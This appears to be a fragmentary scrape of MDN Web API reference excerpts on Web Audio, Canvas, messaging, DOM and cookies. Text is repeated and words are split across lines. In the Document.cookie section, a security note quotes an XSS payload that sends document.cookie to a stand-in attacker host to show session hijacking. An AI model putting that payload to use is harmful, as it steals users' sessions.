...o 0, respectively, with the effect starting after 1 second, and the length of time the effect lasts being controlled by the timeconstant. ...
...t starting after 1 second, and the length of time the effect lasts being controlled by the timeconstant. ...
...d the length of time the effect lasts being controlled by the timeconstant. ...
AudioWorkletNode.parameters - Web APIs
syntax audioworkletnodeinstance.parameters value the audioparammap object containing audioparam instances. ...
...'ve created a simple node which outputs white noise. here, additionally, we'll create a custom gain parameter, so we can directly change volume of the output (although you could use gainnode to achieve this as well). first, we need to define a custom audioworkletprocessor, and register it. note that this should be done in a separate file. ...
...workletprocessor, and register it. note that this should be done in a separate file. we expand the processor by adding a static parameterdescr
iptors getter. it will be used internally by the audioworkletnode constructor to populate its parameters with instantiated audioparam objects. ...
...: parameters['customgain'][0]) // note: a parameter contains an array of 128 values (one value for each of 128 samples), // however it may contain a single value which is to be used for all 128 samples // if no automation is scheduled for the moment. } }) return true } } registerprocessor('white-noise-processor', whitenoiseprocessor) next, in our main scr
ipts file we'll load the processor, create an instance of audioworkletnode passing it the name of the processor, and connect the node to an audio graph. const audiocontext = new audiocontext() await audiocontext.audioworklet.addmodule('white-noise-processor.js') const whitenoisenode = new audioworkletnode(audiocontext, 'white-noise-processor') whitenoisenode.connect(audiocontext.destination) now ...
AudioWorkletProcessor.process - Web APIs
he audioworkletprocessor interface, any implementation of audioworkletprocessor must provide a process() method. the method is called synchronously from the audio rendering thread, once for each block of audio (also known as a rendering quantum) being directed through the processor's corresponding audioworkletnode. in other words, every time a new block of audio is ready for your processor to man
ipulate, your process() function is invoked to do so. important: currently, audio data blocks are always 128 frames long--that is, they contain 128 32-bit floating-point samples for each of the inputs' channels. however, plans are already in place to revise the specification to allow the size of the audio blocks to be changed depending on circumstances (for example, if the audio hardware or cpu ut...
...uts that is similar to the inputs parameter in structure. it is intended to be filled during the execution of the process() method. each of the output channels is filled with zeros by default -- the processor will output silence unless the output arrays are modified. parameters an object containing string keys and float32array values. for each custom audioparam defined using the parameterdescr
iptors getter, the key in the object is a name of that audioparam, and the value is a float32array. the values of the array are calculated by taking scheduled automation events into consideration. if the automation rate of the parameter is "a-rate", the array will contain 128 values -- one for each frame in the current audio block. if there's no automation happening during the time represented by ...
...r the rest of its lifetime. examples in this example we create an audioworkletprocessor that outputs white noise to its first output. the gain can be controlled by the customgain parameter. ...
... working draft ...
Background Tasks API - Web APIs
eferred to as the background tasks api or simply the requestidlecallback() api) provides the ability to queue tasks to be executed automatically by the user agent when it determines that there is free time to do so. concepts and usage the main thread of a web browser is centered around its event loop. this code draws any pending updates to the document currently being displayed, runs any javascr
ipt code the page needs to run, accepts events from input devices, and dispatches those events to the elements that should receive them. in addition, the event loop handles interactions with the operating system, updates to the browser's own user interface, and so forth. it's an extremely busy chunk of code, and your main javascr
ipt code may run right inside this thread along with all of this. certa...
... new requestidlecallback() and cancelidlecallback() methods. example in this example, we'll take a look at how you can use requestidlecallback() to run time-consuming, low-priority tasks during time the browser would otherwise be idle. in addition, this example demonstrates how to schedule updates to the document content using requestanimationframe(). below you'll find only the html and javascr
ipt for this example. the css is not shown, since it's not particularly crucial to understanding this functionality. html content in order to be oriented about what we're trying to accomplish, let's have a look at the html. this establishes a box (id "container") that's used to present the progress of an operation (because you never know how long decoding "quantum filament tachyon emissions" will ...
...the goal: to be able to add requests to call functions to a queue, with an idle callback that runs those functions whenever the system is idle for long enough a time to make progress. variable declarations let tasklist = []; let totaltaskcount = 0; let currenttasknumber = 0; let taskhandle...
... float: right; } .button { padding-top: 2px; padding-bottom: 4px; width: 100px; display: inline-block; float: left; border: 1px solid black; cursor: pointer; text-align: center; margin-top: 0; color: white; background-color: darkgreen; } #progress { width: 100%; padding-top: 6px; } javascr
ipt content now that the document structure is defined, construct the javascr
ipt code that will do the work. the goal: to be able to add requests to call functions to a queue, with an idle callback that runs those functions whenever the system is idle for long enough a time to make progress. variable declarations let tasklist = []; let totaltaskcount = 0; let currenttasknumber = 0; let taskhandle = null; these variables are used to manage the list of tasks that are waiti...
BaseAudioContext - Web APIs
baseaudiocontext.currenttime read only returns a double representing an ever-increasing hardware time in seconds used for scheduling. it starts at 0. baseaudiocontext.destination read only returns an audiodestinationnode representing the final destination of all audio in the context. it c...
...ernode, which represents a second order filter configurable as several different common filter types: high-pass, low-pass, band-pass, etc baseaudiocontext.createbuffer() creates a new, empty audiobuffer object, which can then be populated by data and played via an audiobuffersourcenode. baseaudiocontext.createbuffersource() creates an audiobuffersourcenode, which can be used to play and man
ipulate audio data contained within an audiobuffer object. audiobuffers are created using audiocontext.createbuffer or returned by audiocontext.decodeaudiodata when it successfully decodes an audio track. baseaudiocontext.createconstantsource() creates a constantsourcenode object, which is an audio source that continuously outputs a monaural (one-channel) sound signal whose samples all have the sa...
...ed by audiocontext.decodeaudiodata when it successfully decodes an audio track. baseaudiocontext.createconstantsource() creates a constantsourcenode object, which is an audio source that continuously outputs a monaural (one-channel) sound signal whose samples all have the same value. baseaudiocontext.createchannelmerger() creates a channelmergernode, which is used to combine channels from mult
iple audio streams into a single audio stream. baseaudiocontext.createchannelsplitter() creates a channelsplitternode, which is used to access the individual channels of an audio stream and process them separately. baseaudiocontext.createconvolver() creates a convolvernode, which can be used to apply convolution effects to your audio graph, for example a reverberation effect. baseaudiocontext.c...
...scillatornode, a source representing a periodic waveform. it basically generates a tone. baseaudiocontext.createpanner() creates a pannernode, which is used to spatialise an incoming audio stream in 3d space. baseaudiocontext.createperiodicwave() creates a periodicwave, used to define a periodic waveform that can be used to determine the output of an oscillatornode. baseaudiocontext.createscr
iptprocessor() creates a scr
iptprocessornode, which can be used for direct audio processing via javascr
ipt. baseaudiocontext.createstereopanner() creates a stereopannernode, which can be used to apply stereo panning to an audio source. baseaudiocontext.createwaveshaper() creates a waveshapernode, which is used to implement non-linear distortion effects. baseaudiocontext.decodeaudiodata() as...
BasicCardResponse - Web APIs
secure context optional contains the billing address of the card used to make the payment. examples in the following example, the paymentrequest() constructor is used to create a new payment request, which takes three objects as parameters -- one containing details of the payment methods that can be used for the payment, one containing details of the actual order (such as items bought and sh
ipping options), and an optional object containing further options. the first of these three (supportedinstruments in the example below) contains a data property that has to conform to the structure defined by the basiccardrequest dictionary. var supportedinstruments = [{ supportedmethods: 'basic-card', data: { supportednetworks: ['visa', 'mastercard', 'amex', 'jcb', ...
... // call show() to trigger the browser's payment flow. request.show().then(function(...
... // call show() to trigger the browser's payment flow. request.show().then(function(instrumentresponse) { // do something with the response from the u...
... // call show() to trigger the browser's payment flow. ...
CanvasRenderingContext2D.arcTo() - Web APIs
o think about arcto() is to imagine two straight segments: one from the starting point to a first control point, and another from there to a second control point. without arcto(), these two segments would form a sharp corner: arcto() creates a circular arc that fits this corner and smooths is out. in other words, the arc is tangential to both segments. ...
...e ctx.arc(50, 20, 5, 0, 2 * math.pi); // control point two ctx.fill(); result in this example, the path created by arcto() is thick and black. tangent lines are gray, control points are red, and the start point is blue. creating a rounded corner this example creates a rounded corner using arcto(). this is one of the method's most common uses. html <canvas id="canvas"></canvas> javascr
ipt the arc begins at the point specified by moveto(): (230, 20). it is shaped to fit control points at (90, 130) and (20, 20), and has a radius of 50. the lineto() method connects the arc to (20, 20) with a straight line. note that the arc's second control point and the point specified by lineto() are the same, which produces a totally smooth corner. const canvas = document.getelementbyid('canvas...
...2); ctx.stroke(); result result of a large radius if you use a relatively large radius, the arc may appear in a place you didn't expect. in this example, the arc's connecting line goes above, instead of below, the coordinate specified by moveto(). this happens because the radius is too large for the arc to fit entirely below the starting point. html <canvas id="canvas"></canvas> javascr
ipt const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); ctx.beginpath(); ctx.moveto(180, 90); ctx.arcto(180,130, 110,130, 130); ctx.lineto(110, 130); ctx.stroke(); result live demo more sophisticated demo of the method. you can play around with range input to see how arc changes. html <div> <label for="radius">radius: </label> <input name="radius" ty...
..., 110,130, 130); ctx.lineto(110, 130); ctx.stroke(); result live demo more sophisticated demo of the method. you can play around with range input to see how arc changes. ...
CanvasRenderingContext2D.createImageData() - Web APIs
the canvasrenderingcontext2d.createimagedata() method of the canvas 2d api creates a new, blank imagedata object with the specified dimensions. all of the pixels in the new object are transparent black. syntax imagedata ctx.createimagedata(width, height); imagedata ctx.createimagedata(imagedata); parameters width the width to give the new imagedata object. a negative value fl
ips the rectangle around the vertical axis. height the height to give the new imagedata object. a negative value fl
ips the rectangle around the horizontal axis. imagedata an existing imagedata object from which to copy the width and height. the image itself is not copied. return value a new imagedata object with the specified width and height. the new object is filled with transparent black pixels. error...
... axis. imagedata an existing imagedata object from which to copy the width and height. the image itself is not copied. return value a new imagedata object with the specified width and height. the new object is filled with transparent black pixels. errors thrown indexsizeerror thrown if either of the width or height arguments is zero. examples creating a blank imagedata object this sn
ippet creates a blank imagedata object using the createimagedata() method. html <canvas id="canvas"></canvas> javascr
ipt the generated object is 100 pixels wide and 50 pixels tall, making 5,000 pixels in all. each pixel within an imagedata object consists of four array values, so the object's data property has a length of 4 x 5,000, or 20,000. const canvas = document.getelementbyid('canvas');...
...or 20,000. const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); const imagedata = ctx.createimagedata(100, 50); console.log(imagedata); // imagedata { width: 100, height: 50, data: uint8clampedarray[20000] } filling a blank imagedata object this example creates and fills a new imagedata object with purple pixels. html <canvas id="canvas"></canvas> javascr
ipt since each pixel consists of four values, the for loop iterates by mult
iples of four. the array values associated with each pixel are r (red), g (green), b (blue), and a (alpha), in that order. const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); const imagedata = ctx.createimagedata(100, 100); // iterate through every pixel for (let i = 0; i < imagedata.data...
... specifications specification status comment html living standardthe definition of 'canvasrenderingcontext2d.createimagedata' in that specification. living standard ...
CanvasRenderingContext2D.filter - Web APIs
ilter element, which may be embedded in an external xml file. blur() a css <length>. applies a gaussian blur to the drawing. it defines the value of the standard deviation to the gaussian function, i.e., how many pixels on the screen blend into each other; thus, a larger value will create more blur. a value of 0 leaves the input unchanged. brightness() a css <percentage>. applies a linear mult
iplier to the drawing, making it appear brighter or darker. a value under 100% darkens the image, while a value over 100% brightens it. a value of 0% will create an image that is completely black, while a value of 100% leaves the input unchanged. contrast() a css <percentage>. adjusts the contrast of the drawing. a value of 0% will create a drawing that is completely black. a value of 100% leaves ...
...e drawing to sepia. a value of 100% means completely sepia. a value of 0% leaves the drawing unchanged. none no filter is applied. initial value. examples to view these examples, make sure to use a browser that supports this feature; see the compatibility table below. applying a blur this example blurs a piece of text using the filter property. html <canvas id="canvas"></canvas> javascr
ipt const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); ctx.filter = 'blur(4px)'; ctx.font = '48px serif'; ctx.filltext('hello world', 50, 100); result applying mult
iple filters you can combine as many filters as you like. this example applies the contrast, sepia, and drop-shadow filters to a photo of a gecko. html <canvas id="canvas"></canvas> <div style...
...as.getcontext('2d'); ctx.filter = 'blur(4px)'; ctx.font = '48px serif'; ctx.filltext('hello world', 50, 100); result applying mult
iple filters you can combine as many filters as you like. this example applies the contrast, sepia, and drop-shadow filters to a photo of a gecko. ...
...ont = '48px serif'; ctx.filltext('hello world', 50, 100); result applying mult
iple filters you can combine as many filters as you like. this example applies the contrast, sepia, and drop-shadow filters to a photo of a gecko. ...
CanvasRenderingContext2D.scale() - Web APIs
fies this behavior. for instance, a scaling factor of 0.5 results in a unit size of 0.5 pixels; shapes are thus drawn at half the normal size. similarly, a scaling factor of 2.0 increases the unit size so that one unit becomes two pixels; shapes are thus drawn at twice the normal size. syntax void ctx.scale(x, y); parameters x scaling factor in the horizontal direction. ...
...rly, a scaling factor of 2.0 increases the unit size so that one unit becomes two pixels; shapes are thus drawn at twice the normal size. syntax void ctx.scale(x, y); parameters x scaling factor in the horizontal direction. a negative value fl
ips pixels across the vertical axis. a value of 1 results in no horizontal scaling. y scaling factor in the vertical direction. a negative value fl
ips pixels across the horizontal axis. a value of 1 results in no vertical scaling. examples scaling a shape this example draws a scaled rectangle. a non-scaled rectangle is then drawn for comparison. html <canvas id="canvas"></canvas> javascr
ipt the rectangle has a specified width of 8 and a height of 20. the transformation matrix scales it by 9x horizontally and by 3x vertically. thus, it...
...id('canvas'); const ctx = canvas.getcontext('2d'); // scaled rectangle ctx.scale(9, 3); ctx.fillstyle = 'red'; ctx.fillrect(10, 10, 8, 20); // reset current transformation matrix to the identity matrix ctx.settransform(1, 0, 0, 1, 0, 0); // non-scaled rectangle ctx.fillstyle = 'gray'; ctx.fillrect(10, 10, 8, 20); result the scaled rectangle is red, and the non-scaled rectangle is gray. fl
ipping things horizontally or vertically you can use scale(-1, 1) to fl
ip the context horizontally and scale(1, -1) to fl
ip it vertically. in this example, the words "hello world!" are fl
ipped horizontally. note that the call to filltext() specifies a negative x coordinate. this is to adjust for the negative scaling factor: -280 * -1 becomes 280, and text is drawn leftwards from that point. html ...
...you can use scale(-1, 1) to fl
ip the context horizontally and scale(1, -1) to fl
ip it vertically. in this example, the words "hello world!" are fl
ipped horizontally. note that the call to filltext() specifies a negative x coordinate. this is to adjust for the negative scaling factor: -280 * -1 becomes 280, and text is drawn leftwards from that point. html <canvas id="canvas"></canvas> javascr
ipt const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); ctx.scale(-1, 1); ctx.font = '48px serif'; ctx.filltext('hello world!', -280, 90); ctx.settransform(1, 0, 0, 1, 0, 0); result specifications specification status comment html living standardthe definition of 'canvasrenderingcontext2d.scale' in that specification. living stand...
Applying styles and colors - Web APIs
there are three possible values for this property: round, bevel and miter. by default this property is set to miter. note that the linejoin setting has no effect if the two connected segments have the same direction, because no joining area will be added in this case. round rounds off the corners of a shape by filling an additional sector of disc centered at the common endpoint of con...
...fined as the maximum allowed ratio of the distance between the inside and outside points of jonction of edges, to the total line width. it is then equal to the cosecant of half the minimum inner angle of connecting segments below which no miter join will be rendered, but only a bevel join: miterlimit = max miterlength / linewidth = 1 / sin ( min ? / 2 ) the default miter limit of 10.0 will str
ip all miters for sharp angles below about 11 degrees. a miter limit equal to ?2 ? 1.4142136 (rounded up) will str
ip miters for all acute angles, keeping miter joins only for obtuse or right angles. a miter limit equal to 1.0 is valid but will disable all miters. values below 1.0 are invalid for the miter limit. here's a little demo in which you can set miterlimit dynamically and see how this e...
..., we'll create a pattern to assign to the fillstyle property. the only thing worth noting is the use of the image's onload handler. this is to make sure the image is loaded before it is assigned to the pattern. ...
...; ctx.shadowblur = 2; ctx.shadowcolor = 'rgba(0, 0, 0, 0.5)'; ctx.font = '20px times new roman'; ctx.fillstyle = 'black'; ctx.filltext('sample string', 5, 30); } <canvas id="canvas" width="150" height="80"></canvas> draw(); screenshotlive sample we will look at the font property and filltext method in the next chapter about drawing text. canvas fill rules when using fill (or cl
ip and ispointinpath) you can optionally provide a fill rule algorithm by which to determine if a point is inside or outside a path and thus if it gets filled or not. this is useful when a path intersects itself or is nested. two values are possible: "nonzero": the non-zero winding rule, which is the default rule. "evenodd": the even-odd winding rule. in this example we are using the evenod...
Hit regions and accessibility - Web APIs
rowsers which don't support canvas rendering. it's also very useful for assistive technology users (like screen readers) which can read and interpret the sub dom in it. a good example at html5accessibility.com demonstrates how this can be done: <canvas> <h2>shapes</h2> <p>a rectangle with a black border. in the background is a pink circle. ...
...ub dom in it. a good example at html5accessibility.com demonstrates how this can be done: <canvas> <h2>shapes</h2> <p>a rectangle with a black border. in the background is a pink circle. partially overlaying the <a href="http://en.wik
ipedia.org/wiki/circle" onfocus="drawcircle();" onblur="drawpicture();">circle</a>. partially overlaying the circle is a green <a href="http://en.wik
ipedia.org/wiki/square" onfocus="drawsquare();" onblur="drawpicture();">square</a> and a purple <a href="http://en.wik
ipedia.org/wiki/triangle" onfocus="drawtriangle();" onblur="drawpicture();">triangle</a>, both of which are semi-opaque, so the full circle can be seen underneath.</p> </canvas> see the video how nvda reads this example by steve faulkner. aria rules accessible rich internet...
...t region to the canvas. canvasrenderingcontext2d.removehitregion() removes the hit region with the specified id from the canvas. canvasrenderingcontext2d.clearhitregions() removes all hit regions from the canvas. you can add a hit region to your path and check for the mouseevent.region property to test if your mouse is hitting your region, for example. ...
...see also this codepen demo. ...
Using channel messaging - Web APIs
in this article we'll explore the basics of using this technology. note: this feature is available in web workers. use cases channel messaging is mainly useful in cases where you've got a social site that embeds capabilities from other sites into its main interface via iframes, such as games, address book, or an audio player with personalized music choices. ...
...ec is a useful read. simple examples to get your started, we have published a couple of demos on github. first up, check out our channel messaging basic demo (run it live too), which shows a really simple single message transfer between a page and an embedded <iframe>. secondly, have a look at our multimessaging demo (run this live), which shows a slightly more complex setup that can send mult
iple messages between the main page and an iframe. we'll be focusing on the latter example in this article. it looks like so: creating the channel in the main page of the demo, we have a simple form with a text input for entering messages to be sent to an <iframe>. we also have a paragraph which we will use later on to display confirmation messages that we will receive back from the <iframe>. ...
....port2 to the iframe using the window.postmessage method. let's explore how the iframe.contentwindow.postmessage line works in a bit more detail. it takes three arguments: the message being sent. for this initial port transfering this message could be an empty string but in this example it is set to 'init'. the origin the message is to be sent to. * means "any origin". an object, the ownersh
ip of which is transferred to the receiving browsing context. in this case, we are transferring messagechannel.port2 to the iframe, so it can be used to communicate with the main page. when our button is clicked, we prevent the form from submitting as normal and then send the value entered in our text input to the iframe via the messagechannel. receiving the port and message in the iframe over i...
...rowsing context. in this case, we are transferring messagechannel.port2 to the iframe, so it can be used to communicate with the main page. when our button is clicked, we prevent the form from submitting as normal and then send the value entered in our text input to the iframe via the messagechannel. ...
Channel Messaging API - Web APIs
note: this feature is available in web workers. channel messaging concepts and usage a message channel is created using the messagechannel() constructor. ...
... note: this feature is available in web workers. channel messaging concepts and usage a message channel is created using the messagechannel() constructor. ...
...for instance a port, when is sent, cannot be used anymore by the original context. the other browsing context can listen for the message using messageport.onmessage, and grab the contents of the message using the event's data att...
...his api in using channel messaging. channel messaging interfaces messagechannel creates a new message channel to send messages across. messageport controls the ports on the message channel, allowing sending of messages from one port and listening out for them arriving at the other. portcollection an array of messageports; an experimental solution to allow broadcasting of a message to mult
iple ports simultaneously. examples we have published a channel messaging basic demo on github (run it live too), which shows a really simple single message transfer between a page and an embedded <iframe>. you can also see a multimessaging demo (run this live), which shows a slightly more complex setup that can send mult
iple messages between main page and iframe. specifications sp...
DedicatedWorkerGlobalScope.postMessage() - Web APIs
the postmessage() method of the dedicatedworkerglobalscope interface sends a message to the main thread that spawned it. this accepts a single parameter, which is the data to send to the worker. the data may be any value or javascr
ipt object handled by the structured clone algorithm, which includes cyclical references. the main scope that spawned the worker can send back information to the thread that spawned it using the worker.postmessage method. syntax postmessage(amessage, transferlist); parameters amessage the object to deliver to the main thread; this will be in the data field in the event delivered to the worker.onmessage handler. this may be any value or javascr
ipt object handled by the structured clone algorithm, which includes cyclical references. transferlist optional a...
... postmessage(amessage, transferlist); parameters amessage the object to deliver to the main thread; this will be in the data field in the event delivered to the worker.onmessage handler. this may be any value or javascr
ipt object handled by the structured clone algorithm, which includes cyclical references. transferlist optional an optional array of transferable objects to transfer ownersh
ip of. if the ownersh
ip of an object is transferred, it becomes unusable (neutered) in the context it was sent from and it becomes available only to the main thread it was sent to. only messageport and arraybuffer objects can be transferred. returns void. example the following code sn
ippet shows worker.js, in which an onmessage handler is used to handle messages from the main scr
ipt. inside th...
...s can be transferred. returns void. example the following code sn
ippet shows worker.js, in which an onmessage handler is used to handle messages from the main scr
ipt. inside the handler a calculation is done from which a result message is created; this is then sent back to the main thread using postmessage(workerresult); onmessage = function(e) { console.log('message received from main scr
ipt'); var workerresult = 'result: ' + (e.data[0] * e.data[1]); console.log('posting message back to main scr
ipt'); postmessage(workerresult); } in the main scr
ipt, onmessage would have to be called on a worker object, whereas inside the worker scr
ipt you just need onmessage because the worker is effectively the global scope (dedicatedworkerglobalscope). for a full example, see ourbasic dedi...
... specifications specification status comment html living standardthe definition of 'dedicatedworkerglobalscope.postmessage()' in that specification. ...
DirectoryEntrySync - Web APIs
cursively () raises (fileexception); methods createreader() creates a new directoryreadersync to read entries from this directory. directoryreadersync createreader ( ) raises (fileexception); returns directoryreadersync represents a directory in a file system. parameter none exceptions this method can raise a fileexception with the following codes: exception descr
iption not_found_err the directory does not exist. security_err the browser determined that it was not safe to look up the metadata. [ todo: explain why ] getfile() depending on how you've set the options parameter, the method either creates a file or looks up an existing file. void getfile ( in domstring path, in optional flags options ) raises (fileexception)...
... the file is returned. create: false (exclusive is ignored) path doesn't exist an error is thrown. create: false (exclusive is ignored) path exists, but is a directory an error is thrown. returns fileentrysync represents a file in a file system. exceptions this method can raise a fileexception with the following codes: exception descr
iption encoding_err the path supplied is invalid. not_found_err the path was structurally correct, but refers to a resource that does not exist. no_modification_allowed_err this is a permission issue. the target directory or file is not writable. path_exists_err the file already exists. you cannot create another one with the same path. quo...
... is returned. create: false (exclusive is ignored) path doesn't exist an error is thrown. create: false (exclusive is ignored) path exists, but is a directory an error is thrown. returns directoryentrysync represents a directory in a file system. exceptions this method can raise a fileexception with the following codes: exception descr
iption encoding_err the path supplied is invalid. not_found_err the path was structurally correct, but refers to a resource that does not exist. no_modification_allowed_err this is a permission issue. the target directory or file is not writable. path_exists_err the file already exists. you cannot create another one with the same path. quo...
...ry that contains a file that cannot be removed or if an error occurs while the deletion is in progress, some of the contents might not be deleted. catch these cases with error callbacks and retry the deletion. void removerecursively ( ) raises (fileexception); parameter none returns void exceptions this method can raise a fileexception with the following codes: exception descr
iption not_found_err the target directory does not exist. invalid_state_err this directory is not longer valid for some reason other than being deleted. [todo: explain more ] no_modification_allowed_err one of the following is not writable: the directory, its parent directory, and some of the content in the directory. security_err the applic...
Document.caretRangeFromPoint() - Web APIs
.caretrangefrompoint(float x, float y); parameters x a horizontal position within the current viewport. y a vertical position within the current viewport. returns one of the following: a range. null, if x or y are negative, outside viewport, or there is no text entry node. ...
...y); parameters x a horizontal position within the current viewport. y a vertical position within the current viewport. returns one of the following: a range. null, if x or y are negative, outside viewport, or there is no text entry node. ...
... no text entry node. example basic demo: when clicking in a paragraph insert a line break at the caret position: html <p>lorem
ipsum dolor sit amet, consetetur sad
ipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. at vero eos et accusam et justo duo dolores et ea rebum. ...
...sic demo: when clicking in a paragraph insert a line break at the caret position: html <p>lorem
ipsum dolor sit amet, consetetur sad
ipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. at vero eos et accusam et justo duo dolores et ea rebum. ...
Document.cookie - Web APIs
omain (e.g., 'example.com' or 'subdomain.example.com'). if not specified, this defaults to the host portion of the current document location. contrary to earlier specifications, leading dots in domain names are ignored, but browsers may decline to set the cookie containing such dots. if a domain is specified, subdomains are always included. note: the domain must match the domain of the javascr
ipt origin. setting cookies to foreign domains will be silently ignored. ;max-age=max-age-in-seconds (e.g., 60*60*24*365 or 31536000 for a year) ;expires=date-in-gmtstring-format if neither expires nor max-age specified it will expire at the end of session. when user privacy is a concern, it's important that any web app implementation invalidate cookie data after a certain timeout...
...s be the origin. the dash is considered part of the prefix. these flags are only settable with the secure attribute. ...
.... note: as you can see from the code above, document.cookie is an accessor property with native setter and getter functions, and consequently is not a data property with a value: what you write is not the same as what you read, everything is always mediated by the javascr
ipt interpreter. ...
...plication, will lead to hijacking the authenticated user's session. common ways to steal cookies include using social engineering or by exploiting an xss vulnerability in the application - (new image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie; the httponly cookie attribute can help to mitigate this attack by preventing access to cookie value through javascr
ipt. read more about cookies and security. notes starting with firefox 2, a better mechanism for client-side storage is available - whatwg dom storage. you can delete a cookie by simply updating its expiration time to zero. keep in mind that the more cookies you have, the more data will be transferred between the server and the client for each request. this will make each request slower. it is...
Document.write() - Web APIs
tream opened by document.open(). note: because document.write() writes to the document stream, calling document.write() on a closed (loaded) document automatically calls document.open(), which will clear the document. syntax document.write(markup); parameters markup a string containing the text to be written to the document. example <html> <head> <title>write example</title> <scr
ipt> function newcontent() { document.open(); document.write("<h1>out with the old, in with the new!</h1>"); document.close(); } </scr
ipt> </head> <body onload="newcontent();"> <p>some original document content.</p> </body> </html> notes the text you write is parsed into the document's structure model. in the example above, the h1 element becomes a node in the do...
... you write is parsed into the document's structure model. in the example above, the h1 element becomes a node in the document. writing to a document that has already loaded without calling document.open() will automatically call document.open(). after writing, call document.close() to tell the browser to finish loading the page. if the document.write() call is embedded within an inline html <scr
ipt> tag, then it will not call document.open(). for example: <scr
ipt> document.write("<h1>main title</h1>") </scr
ipt> note: document.write() and document.writeln do not work in xhtml documents (you'll get an "operation is not supported" [ns_error_dom_not_supported_err] error in the error console). this happens when opening a local file with the .xhtml file extension or for any document served ...
...ent.writeln do not work in xhtml documents (you'll get an "operation is not supported" [ns_error_dom_not_supported_err] error in the error console). this happens when opening a local file with the .xhtml file extension or for any document served with an application/xhtml+xml mime type. more information is available in the w3c xhtml faq. ...
...rror in the error console). this happens when opening a local file with the .xhtml file extension or for any document served with an application/xhtml+xml mime type. more information is available in the w3c xhtml faq. note: using document.write() in deferred or asynchronous scr
ipts will be ignored and you'll get a message like "a call to document.write() from an asynchronously-loaded external scr
ipt was ignored" in the error console. note: in edge only, calling document.write() more than once in an <iframe> causes the error "scr
ipt70: permission denied". note: starting with version 55, chrome will not execute <scr
ipt> elements injected via document.write() when specific conditions are met. for more information, refer to intervening against document.write(). specifications speci...
DocumentOrShadowRoot.caretPositionFromPoint() - Web APIs
h the caret and caret's character offset within that node. syntax var caretposition = document.caretpositionfrompoint(float x, float y); parameters x the horizontal coordinate of a point. y the vertical coordinate of a point. returns a caretposition object. example this example inserts line breaks wherever you click. the code for it is below the demo. ...
...fset within that node. syntax var caretposition = document.caretpositionfrompoint(float x, float y); parameters x the horizontal coordinate of a point. y the vertical coordinate of a point. returns a caretposition object. example this example inserts line breaks wherever you click. the code for it is below the demo. ...
.... example this example inserts line breaks wherever you click. the code for it is below the demo. demo html content <p>lorem
ipsum dolor sit amet, consetetur sad
ipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. at vero eos et accusam et justo duo dolores et ea rebum. ...
...ine breaks wherever you click. the code for it is below the demo. demo html content <p>lorem
ipsum dolor sit amet, consetetur sad
ipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. at vero eos et accusam et justo duo dolores et ea rebum. ...
Document Object Model (DOM) - Web APIs
the dom represents a document with a logical tree. each branch of the tree ends in a node, and each node contains objects. dom methods allow programmatic access to the tree. with them, you can change the document's structure, style, or content. nodes can also have event handlers attached to them. once an event is triggered, the event handlers get executed. ...
...tyles and stylesheets, browser history, and so forth. these interfaces are discussed further in the html dom api documentation. ...
...vg element interfaces svgaelement svgaltglyphelement svgaltglyphdefelement svgaltglyphitemelement svganimationelement svganimateelement svganimatecolorelement svganimatemotionelement svganimatetransformelement svgcircleelement svgcl
ippathelement svgcolorprofileelement svgcomponenttransferfunctionelement svgcursorelement svgdefselement svgdescelement svgelement svgell
ipseelement svgfeblendelement svgfecolormatrixelement svgfecomponenttransferelement svgfecompositeelement svgfeconvolvematrixelement svgfediffuselightingelement svgfedisplacementmapelement svgfedistantlightelement svgfedropshadowelement svgfefloodelement svgfefuncaelement svgfefuncbelement svgfefuncgelement svgfefuncrelement svgfegaussianblurelement svgfeimageelement svgfemergeeleme...
...thelement svghkernelement svgimageelement svglineargradientelement svglineelement svgmarkerelement svgmaskelement svgmeshelement svgmeshgradientelement svgmeshpatchelement svgmeshrowelement svgmetadataelement svgmissingglyphelement svgmpathelement svgpathelement svgpatternelement svgpolylineelement svgpolygonelement svgradialgradientelement svgrectelement svgscr
iptelement svgsetelement svgsolidcolorelement svgstopelement svgstyleelement svgsvgelement svgswitchelement svgsymbolelement svgtextcontentelement svgtextelement svgtextpathelement svgtextpositioningelement svgtitleelement svgtrefelement svgtspanelement svguseelement svgunknownelement svgviewelement svgvkernelement svg data type interfaces here are the dom apis for data...
Element: DOMActivate event - Web APIs
such as when it is clicked on using the mouse or a keypress is used to navigate to it. ...
...is used to navigate to it. ...
... bubbles yes cancelable yes interface mouseevent examples <svg xmlns="http://www.w3.org/2000/svg" version="1.2" baseprofile="tiny" xmlns:ev="http://www.w3.org/2001/xml-events" width="6cm" height="5cm" viewbox="0 0 600 500"> <desc>example: invoke an ecmascr
ipt function from a domactivate event</desc> <!-- ecmascr
ipt to change the radius --> <scr
ipt type="application/ecmascr
ipt"><![cdata[ function change(evt) { var circle = evt.target; var currentradius = circle.getfloattrait("r"); if (currentradius == 100) circle.setfloattrait("r", currentradius * 2); else circle.setfloattrait("r", currentradius * 0.5); } ]]></scr
ipt> <!-- act on each domactivate event --> <circle cx="300" cy="225" r="...
... working draft ...
Element.getClientRects() - Web APIs
r anything themselves, display:none elements, and generally any elements that are not directly rendered, an empty list is returned. rectangles are returned even for css boxes that have empty border-boxes. the left, top, right, and bottom coordinates can still be meaningful. fractional pixel offsets are possible. examples these examples draw client rects in various colors. note that the javascr
ipt function that paints the client rects is connected to the markup via the class withclientrectsoverlay. html example 1: this html creates three paragraphs with a <span> inside, each embedded in a <div> block. client rects are painted for the paragraph in the second block, and for the <span> element in the third block. <h3>a paragraph with a span inside</h3> <p>both the span and the paragraph h...
...ample 1: this html creates three paragraphs with a <span> inside, each embedded in a <div> block. client rects are painted for the paragraph in the second block, and for the <span> element in the third block. <h3>a paragraph with a span inside</h3> <p>both the span and the paragraph have a border set. the client rects are in red. ...
...lient rects are painted for the paragraph in the second block, and for the <span> element in the third block. <h3>a paragraph with a span inside</h3> <p>both the span and the paragraph have a border set. the client rects are in red. note that the p has onlyone border box, while the span has mult
